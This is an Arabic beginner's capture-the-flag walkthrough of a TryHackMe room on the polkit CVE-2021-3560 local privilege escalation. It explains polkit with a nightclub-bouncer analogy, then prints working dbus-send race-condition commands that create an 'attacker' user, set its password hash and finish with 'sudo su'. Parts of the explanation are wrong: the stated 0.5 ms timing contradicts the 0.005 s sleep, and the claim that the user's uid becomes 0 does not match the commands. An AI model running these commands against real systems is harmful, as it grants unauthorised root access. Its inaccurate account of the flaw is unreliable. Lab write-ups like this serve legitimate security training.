
شرح مناسب للمبتدئين لوحدة المستوى السهل في TryHackMe - polkit:CVE-2021-3560
سنقوم أولاً بالتحقق من إصدار polkit للحصول على رؤى أفضل.
apt list --installed | grep policykit-1
policykit-1/focal,now 0.105-26ubuntu1 amd64 [installed,upgradable to: 0.105-26ubuntu1.1]
استخدمت deepseek لإنشاء تشبيه بسيط لك لفهم مفهوم policy kit بشكل أفضل.
| النادي الليلي: | نظام Polkit |
| النادي الليلي (منطقة كبار الشخصيات): | خدمات/إجراءات النظام المميزة (تركيب الأقراص، تثبيت البرامج، إدارة الشبكة) |
| الحارس عند الباب: | Polkit نفسه، يعترض كل محاولات الدخول |
| قائمة الضيوف / قواعد اللباس: | قواعد سياسات Polkit (مخزنة في /usr/share/polkit-1/actions/ وفي /etc/polkit-1/rules.d/) |
| بطاقة كبار الشخصيات / عضوية النادي: | التواجد في مجموعات لينكس محددة (مثل wheel، sudo، storage، network) |
| فحص الهوية: | Polkit يتحقق من هوية المستخدم وعضويته في المجموعات |
| المالك / المدير: مستخدم الجذر | (لديه وصول غير مقيد إلى كل شيء) |
| رواد النادي العاديون الذين يحاولون دخول منطقة كبار الشخصيات: | المستخدمون/البرامج العادية التي تحاول تنفيذ أوامر مميزة |
| الحارس يراجع كتاب القواعد: | Polkit يتحقق من السياسات المكوّنة لهذا الإجراء المحدد |
| الحارس يطلب سواراً خاصاً/كلمة مرور: | موجه المصادقة (طلب كلمة المرور) |
| الحارس يسمح لأحد بالدخول دون تفتيش: | إجراء مسموح دون مصادقة (للمستخدمين/المجموعات الموثوقة) |
polkit هو sudo الخاص بـ systemd
الآن يمكننا استغلال حارس النادي هذا عبر طلبات خادعة لتجاوز فحص بيانات الاعتماد لطلبات dbus.
دعنا نفهم ذلك باستخدام نفس تشبيه حارس النادي السابق.
لنفترض أن العملية الطبيعية تسير كما يلي: يتحقق الحارس من الهويات، فإذا كان الشخص مخولاً بما يكفي لتلك المهمة بالذات، يسمح له الحارس. ولكن لاستغلال ذلك، سيرسل المهاجم طلباً وهمياً يقول "اجعلني مديراً للنادي بكل الصلاحيات" إلى سكرتير النادي. الآن لدينا 11 مللي ثانية قبل أن تصل الرسالة إلى سكرتير النادي، ومن الواضح أنه لن يقبل هذا الطلب. لذا يجب علينا إلغاء الطلب خلال نصف الوقت الذي يستغرقه للوصول إلى السكرتير أي 0.5 مللي ثانية. الآن سنختطف الملاحظة التي تحمل طلب رفع صلاحياتنا قبل أن يتمكن الحارس من التحقق من أرسلها. نختطفها ولا يستطيع الحارس معرفة من فعل ذلك. الآن الملاحظة لديها رقم فريد أصبح يتيماً. الرقم الفريد موجود في النظام ولكن الملاحظة الأصلية اختفت. الآن البروتوكول الافتراضي للتعامل مع هذا الموقف هو أن الحارس سيفترض أن الرسالة أُرسلت من قبل مالك النادي لأن الدليل يقول ذلك. يحدث شيء من هذا القبيل: يسأل الحارس "مهلاً، من أرسل هذه الرسالة #12345؟" يبحث dbus-daemon في سجلاته ويقول "لدي تتبع للرقم #12345 في سجلي لكنني لا أستطيع العثور على الرسالة الفعلية... خطأ" لذا بدلاً من قول "لا أعرف من أرسل هذا"، يقوم dbus-daemon بإرجاع رمز خطأ. يحتوي دليل تدريب الحارس على خلل. يقول دليل التدريب إنه إذا كنت لا تعرف من أرسل رسالة معينة وتحصل على خطأ في التحقق من الهوية، فافترض أنها من مالك النادي (uid 0). يخبر الحارس سكرتير النادي أن هذه الرسالة من مالك النادي على الرغم من أنها مجرد وكيل، يوافق السكرتير على ذلك ثم يقوم سكرتير النادي بإنشاء حساب مدير نادي جديد للمهاجم. الآن المهاجم لديه صلاحيات مكافئة لصلاحيات المستخدم الجذر.
الآن دعنا نلقي نظرة على الأوامر التي ستمنحنا فوراً مستخدماً باسم attacker بكلمة المرور Expl01ted. لذلك نبدأ بالأوامر:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1 & sleep 0.005s; kill $!
هذا الأمر سينشئ مستخدماً باسم attacker. ننسحب مباشرة بعد 0.5 مللي ثانية لمنع قراءة الرسالة من قبل الحارس (polkit). المستخدم attacker لا يزال لا يملك أي صلاحيات جذر.
من أجل منح المستخدم attacker صلاحيات الجذر التي يحتاجها بشدة، سنستخدم الأمر:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$TRiYeJLXw8mLuoxS$UKtnjBa837v4gk8RsQL2qrxj.0P8c9kteeTnN.B3KeeeiWVIjyH17j6sLzmcSHn5HTZLGaaUDMC4MXCjIupp8.' string:'Ask the pentester' & sleep 0.005s; kill $!
id attacker
الآن يمكننا أن نرى أن uid للمستخدم attacker هو 1000.
هنا نضيف معرف المستخدم الخاص بمستخدم attacker الأصلي الذي لم يكن يملك أي صلاحيات. سيضمن هذا أن معرف المستخدم attacker ينتقل من 1000 إلى 0.
id attacker
الآن يمكننا أن نرى أن uid للمستخدم attacker قد تغير من 1000 إلى 0، مما يعني أننا في مجموعة المستخدم الجذر بأعلى الصلاحيات. يمكننا تنفيذ الأوامر مباشرة كجذر من هنا أو يمكننا ببساطة الانتقال إلى قشرة جذر أيهما يناسبك أكثر.
sudo su